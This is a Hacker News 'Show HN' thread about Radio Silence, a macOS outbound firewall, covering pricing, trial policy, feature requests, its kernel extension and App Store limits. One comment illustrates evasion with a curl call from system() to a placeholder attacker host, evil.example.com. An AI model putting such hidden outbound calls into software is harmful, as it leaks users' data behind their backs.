Show HN: My user-friendly outbound firewall for Mac | Hacker News Reader

Show HN: My user-friendly outbound firewall for Mac

radiosilenceapp.com

77 pointsaparadja81 comments

Author here. I have an open question about pricing. How do you feel about the price point? Some emails and comments have mentioned that $19 feels too expensive. To me, pricing seems like a dark art.

Now I ask you to put on your objectivity-soaked scientist's hat and answer: Would you have purchased the software if the price had been lower? If you already purchased, would you have been willing to go higher?

Yeah, I'd say $19 is really pushing it for this sort of app, which is something that is zero-maintenance, zero-interaction, install and forget kind of thing. The app needs to have some sort of presence (perhaps it does, I would not know, I am on Windows) that would prove that it is alive and doing its job. At the very least I would expect some sort of subtle visual feedback in the event when the blocked app is actually prevented from getting out. Showcase it in action on the landing page too.

The way it stands, it looks like a pretty UI for configuring built-in firewall. And $19 for that is an overkill. Also, keep in mind who your audience is - (paranoid) geeks, so it is important to show that the app has some non-trivial content to it and it's not just an empty shell on top of what's available for free already.

In other words, if you manage to convince me that the app actually has some brains and smarts, that while it is simple, it is not trivial, then $19 is a fair price. If not, then even $10 is an overkill.

Thanks for your input. I'm currently running at $9 for benchmarking.

No problem.

Here's another nitpick. Upon checkout it detected that I was in Canada and showed the price in CAD. It came to $9.16, and this is very odd since USD has been cheaper than CAD for a while now. It should've been under 9 CAD. I don't know why it worked out to be 9.16 and I don't really care, I just know it's wrong. So, not to confuse people like me just show the price in USD.

Strange. I think FastSpring controls all the currency logic with an iron fist, but I'll see whether I can force a "show everything in USD" option.

On the price point - there's still the market buy/sell spread on the currency market.

Western Union exhibits similar behaviour.

I wonder if the currency conversion logic is mixed up. Google returns: 1 US dollar = 0.9839 Canadian dollars. I wonder if it's dividing by .9839 instead of multiplying by it, which does get you close to 9.16.

At least the USD to EUR conversion is fine. Not a mixup in the algorithm, at least.

I really love Radio Silence’s UI (based on the screenshot).

Quick thought — for the more-paranoid, would it make sense to let you switch to a whitelist, where only the listed applications are allowed to connect?

Hmm, that could be a possibility. Thanks for the idea.

seconded. and an opt-in growl notification for applications that are trying to outbound connect.

Seconded, I'd much rather add applications as needed. Also, the growl notification is a good idea.

And my own small idea: what if I want an application to check for updates? Can I say "allow application to connect for this application session"? Then when the app quits, it won't be allowed to connect out again, unless it's whitelisted.

I think Little Snitch has that feature, but it might go against RS’s design: http://news.ycombinator.com/item?id=2886679

I would like to see whitelist as well. Looks nice. Good luck.

I'd be curious as to what the sales of this are like. It's something I'd be tempted to buy at maybe $5-10 or so, but for ~$20 I'd just use either the System Preferences firewall, or drop down to pf. There aren't that many things that I want to block that it'd be worth it, I think.

Is the price based on dev time, relation to similar products (little snitch is ~$40), or random guesswork?

I don't really believe in pricing things based on dev time. I'd rather price them according to the value they provide.

I wanted to price this one below Little Snitch, but not in the single dollar range. The halfway point seemed good to me.

I share your curiosity, and have adjusted the price as an experiment. Let's see what happens.

Excellent, I hope it works out well, the rest of the thread seems to be of a similar opinion.

You've got my £5.50 anyway, I'd feel bad if I told you what I'd pay, then you set it to that and I didn't. Also, it means I can finally clear some of the localhost cruft out of my /etc/hosts that I'd forgotten about.

Everyone else seems to be clamouring for more features too, so I'll add one that would be useful: the ability to select multiple .app bundles at a time from the finder/select-file dialog window and add them. The Adobe tools I blocked required about 7 click-navigate-click-click operations alone.

The ability to toggle blocks without add/removing them would be nice as well, but (imho) anything else starts to smell of feaping creatures, and they should just buy Little Snitch.

UPDATE: As a data-collection experiment, I've dropped the price to $9 for the time being.

(If you already purchased and feel left out, send an email and we'll figure it out).

$9 feels about right. I know this is off-topic, but how do you like FastSpring?

So far, FastSpring has been amazing. Their web interface has always had everything I've looked for, and setting it all up has been easier than expected. Their customer service people are great too.

No complaints at all.

From a customer perspective, it's one of the first times I've had a painless purchase experience whilst having NoScript enabled (and not having to greylist some random mirror of JQuery halfway through the procedure and lose all state). Everything seems to fall back to Plain Ol' Forms just fine.

Very clean site design, and UI looks gorgeous. Awesome job!

May want to think about putting the qualifier inside the call to action:

Buy now for $9 (try risk-free for 30 days)

Then below the CTA put "If you're not absolutely happy..."

Alleviate their worries as in-context as possible.

Congrats on shipping! Baller.

My first thoughts:

+ nice website

+ app in the screenshot looks nice

? does it show up in the menubar or...? (maybe add a couple of screenshots)

- I can't try before I buy (yes, I've read the 30days/money back but it's still a barrier for most people)

Can't download to try before buying. Lost my interest.

I understand. You could purchase it and ask for a refund if you're not happy. I won't get mad about refund requests, that's a promise.

Building a trial version was not a first priority before launching. It certainly is something I'll look into next.

On your website, explicitly declare a N days refund guarantee. It's a selling point, shows good service and people generally don't abuse it. Worst case, you'll remove it.

See number 7 in http://www.joelonsoftware.com/articles/customerservice.html

It's already there...

A direct quote: "You can try Radio Silence risk-free for 30 days. If you're not absolutely happy, you'll get your money back, no questions asked."

Sorry about that, missed it when I looked.

No worries.

If it came down to a choice between 'demo for 30 days then buy' vs 'buy, and 30-day refund NQA', I'd always go for the demo.

I'm not sure there's an entirely rational reason for it, but I don't think I'm alone there.

Incidentally, what happens if I ask for a refund, then use it block itself so it can't phone home for the revocation? :)

It's actually logical - if after the demo you decide that you don't want the product you just don't buy.

If after buying the product you want a refund you still need to contact the seller (or go through some automated process). It's an extra step.

As a seller though, I would think less people would ask for a refund than the group of people that would have bought the product, but instead downloaded the demo and then decided not buy.

Agreed. I use Little Snitch currently. I wanted to give this a try but.... I won't buy an application up front. I understand the Dev will refund instantly as stated in comments but it doesn't persuade me. I would even prefer a 15 day trial with a no commitment download. The only way to turn me off faster is to only distribute via the App store.

If you have to silence apps manually, how can you know if an app will phone home?

This app can't unfortunately help you monitor the network activity of other apps.

A question: does the copy on the website give the impression that it would? I don't want to mislead people.

No, the copy doesn't give that impression, which I though was weird, because I thought that automatisation and 'silence as needed' would be the best design for this kind of application.

It's not misleading, but the combination of requiring manual silencing and not giving any indication of what needs to be silenced seems self-undermining. Your target market is now only those users who are sophisticated enough to figure out what needs to be silenced, but not sophisticated enough to figure out how to do the silencing themselves. That's a pretty narrow market segment.

Asking for features "before I buy" is lame, I know. These are merely suggestions.

1) Avoiding the verboseness of something like LittleSnitch is an admirable goal, but there's too much work for the user in your case. How difficult would it be to detect when applications perform network operations and then auto-populate the list so that the user can decide what to do about it? Some kind of categorization of traffic would be good too (ie, listing common protocol utilization [DNS,HTTP,SSH,etc]).

2) A simple thumbs-up, thumbs-down on applications would be great. That way the user could toggle the app for when they, say, want to pull some updates from Steam. From the screenshot it looks like you can only add or remove apps.

The website looks great and $9.00 feels like a good price point. I'll second the idea that $19.00 was too much. I hope it sells well.

What makes this better than Little Snitch?

Little Snitch wants to inform you about everything. Radio Silence obeys silently. I guess "better" is a matter of preference. I wanted to create the simplest possible solution I could imagine.

They both solve similar problems, but from different points of view. I'm personally not a big fan of programs that constantly pop up alert windows.

Is there a kernel extension involved ? What about blocking process e.g. from the terminal etc.

Yes, there is a kext.

Currently, it doesn't block non-app-bundle processes. The main reason for the app's existence is to block nosy apps that discreetly contact their home servers. I can't think of many (or any) terminal apps that do the same thing.

Why does it require/involves kext? I'm genuinely curious, since I thought OS X comes with powerful ipfw. Is it some stripped down version?

The main reason is to reduce the amount of dependencies to zero. I didn't want to enter the nightmare vortex of several applications managing a single firewall implementation.

Also, as I've lately been an embedded software guy, I saw no harm or fear in a little kernel code.

In addition to ipfw, Lion includes pf (off by default though, you need to modify a launchd plist to enable it).

Is it possible to use ipfw / pf to control outbound traffic based on the process that is initiating the connection? I skimmed the man pages but didn't see anything that looked promising.

Aren't kexts the main reason for upgrade issues between OSX versions?

Perhaps, but I'd say that it varies a lot. The kext here is more compatible with old versions than the UI.

Perhaps you can add a list of default applications that many people want to silence, and offer to silence them automatically once the user runs them.

That is something worth considering, but it would go against one of the design goals: a firewall without a single alert dialog.

I wouldn't consider a one-time dialog box (growl, of course) to be that much of an issue. It might violate your design principle, but in the grand scheme of things, I don't think it would annoy the user.

Is Growl a part of OS X?

A default list of applications to silence on the first run wouldn't ruin your strapline. Which apps should be silenced on default, that's harder to figure out.

Somewhere upthread someone mentioned an adblock-style collaborative/hosted block list. Having it follow one (or more) RSS feeds would allow anyone to offer a list, and any user could choose whether to use it or not, without any additional effort for the dev.

Any lean app is always good in my book, but if it doesn't detect which app is 'phoning-home' and letting me know... it ain't much better than Little Snitch that I'm currently using.

I'm just attracted to the smaller memory footprint I guess and the simple UI. :D

Great design and the app looks dead simple, i.e. it is not scary looking, but I need a bit more information.

"Radio Silence lets you block internet access from any applications you would rather keep silent."

My applications have/need internet access? Why do I need to silence them?

Do not assume people already know why they need this. Find a good selling point to the above questions (privacy, right?) and drive it. You should then be able to charge at least $30.

I also feel like I would feel more confident in the product and the co. behind it, if I saw links that lead to things like contact, documentation and support. I do not want to be left out in the cold should I need help.

I hope this helps.

Will this work for an app like Spotify? Note: Spotify appears to use very random ports to do it's p2p stuff, which is great except when you don't have the bandwidth to spare.

I haven't tested this with Spotify, but would guess that it works.

The filtering is based on the connecting app itself, not individual ports.

Update: I downloaded Spotify, and silenced it. It says it is unable to connect to the servers, and lists only local songs.

So, yes, Radio Silence works with Spotify.

Awesome sauce

There's so many ways to send outbound traffic that I'm not sure if it's worth blocking it at all.

You can easily block applications that don't try to be sneaky, but are firewalls able block something like `system("curl http://evil.example.com/phone)`? Leaks via DNS queries? URL handlers? Applescripting of other applications?

You're absolutely right. I'm even trying to be careful about the use of the term "firewall" to avoid giving the wrong impression.

I made the conscious choice to only block applications that play nice. It should cover most of the use cases. If there was a malicious app on your system, it would probably be impossible to even select it using the current UI.

I have no idea how to make the arms race against malware nice, lightweight or unobtrusive. With this software, I did not even attempt to.

Personally I use a combination of pf (Waterroof is a nice control front end) and HandsOff (switcher from LittleSnitch for more fine grained control). I wish the dev well - but the first product that combines ipfw control with app specific will win my $$$. Until then everything else hasnt covered the gap I've been searching for as of yet.

I'm really liking the design of the website.

Thanks, that hits a soft spot in me. Like many programmers, I've wanted to learn about web design for a long time. Here, I really did the best I could, and am really happy to hear that it's not eye-achingly disgusting (to some).

I think you did a great job. Tells me exactly what it does, I don't have to hunt down screenshots, the call to action button is obvious yet not obnoxious and it's clean.

Well done IMO.

I just installed it on OSX 10.6, restarted, and it still says "Filter not found, please restart your Mac"

Any help?

Edit: This was a small problem with older versions of Snow Leopard. It's now fixed. Huge thanks to joshcrews for his patience.

Hmm. I'll send you a private message. That hasn't happened on any of the test machines I've used.

Thanks!

Just to be clear, I sent an email to the address you used when purchasing.

update: aparadja fixed me and I'm up and running

I wish I could subscribe to adblock style lists for application firewalls. That's something I'd pay real money for.

Any reason why you decided to not distribute it through the Mac Appstore? Genuinely curious.

The App Store doesn't accept apps that aren't contained in a single neat bundle. Network monitoring and automatic launching requires more than that.

That's pretty much the only reason, I would have been happy to sell it through the store.

Looks good. Wishing you success!

very nice, it just disappears when you click done.

You may forget about this and wonder why my apps aren't connecting but glad there isn't dock or menu icon!

Glad you like it. I wanted the whole app to be as invisible and unnoticeable as possible.

Very nice. Anyone aware of something like this for Linux?

It would be nice if it was in the Mac App Store (or if it is already you shall link to it)

It's not a self-contained package because of the kernel extension, so can't be sold through the App Store. Otherwise it would be there.

From the Mac App Store Review Guidelines:

2.18 Apps that install kexts will be rejected

Reply on news.ycombinator.com